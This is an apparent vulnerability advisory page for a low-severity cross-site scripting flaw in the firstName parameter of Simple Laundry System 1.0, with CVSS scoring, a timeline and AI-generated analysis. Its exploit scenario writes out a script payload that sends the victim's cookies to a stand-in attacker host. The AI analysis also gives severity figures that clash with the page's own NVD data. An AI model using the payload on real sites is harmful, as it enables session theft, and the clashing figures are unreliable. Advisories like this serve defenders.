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PHP CVE-2026-5539

| EUVD-2026-19026 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-04-05 VulDB GHSA-rgqr-jrx3-5xwx
2.1
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

6
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
5.3 (MEDIUM) 2.1 (LOW)
PoC Detected
Apr 07, 2026 - 13:20 vuln.today
Public exploit code
EUVD ID Assigned
Apr 05, 2026 - 04:00 euvd
EUVD-2026-19026
Analysis Generated
Apr 05, 2026 - 04:00 vuln.today
CVE Published
Apr 05, 2026 - 03:30 nvd
MEDIUM 5.3

DescriptionCVE.org

A flaw has been found in code-projects Simple Laundry System 1.0. This affects an unknown part of the file /modifymember.php of the component Parameter Handler. This manipulation of the argument firstName causes cross site scripting. The attack can be initiated remotely. The exploit has been published and may be used.

AnalysisAI

Stored cross-site scripting (XSS) in code-projects Simple Laundry System 1.0 allows unauthenticated remote attackers to inject malicious scripts via the firstName parameter in /modifymember.php, which are executed in the context of other users' browsers. The vulnerability has a CVSS score of 4.3 with low impact severity but publicly available exploit code, though exploitation requires user interaction (UI:R). …

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Vulnerability AssessmentAI

Risk Assessment The CVSS v3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) indicates network-based attack with low complexity and no privilege requirements, but requires user interaction (clicking a link or viewing a page). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker crafts a malicious URL containing XSS payload in the firstName parameter (e.g., /modifymember.php?firstName=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>) and tricks a logged-in admin or member into clicking the link via phishing email or forum post. Alternatively, if the vulnerability stores the firstName value in a database and displays it in user profiles without encoding, the attacker submits the payload once and it persists, affecting all users who view the compromised profile. …
Remediation Organizations using Simple Laundry System should immediately upgrade to a patched version released by code-projects. … Detailed patch versions, workarounds, and compensating controls in full report.

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CVE-2026-5539 vulnerability details – vuln.today

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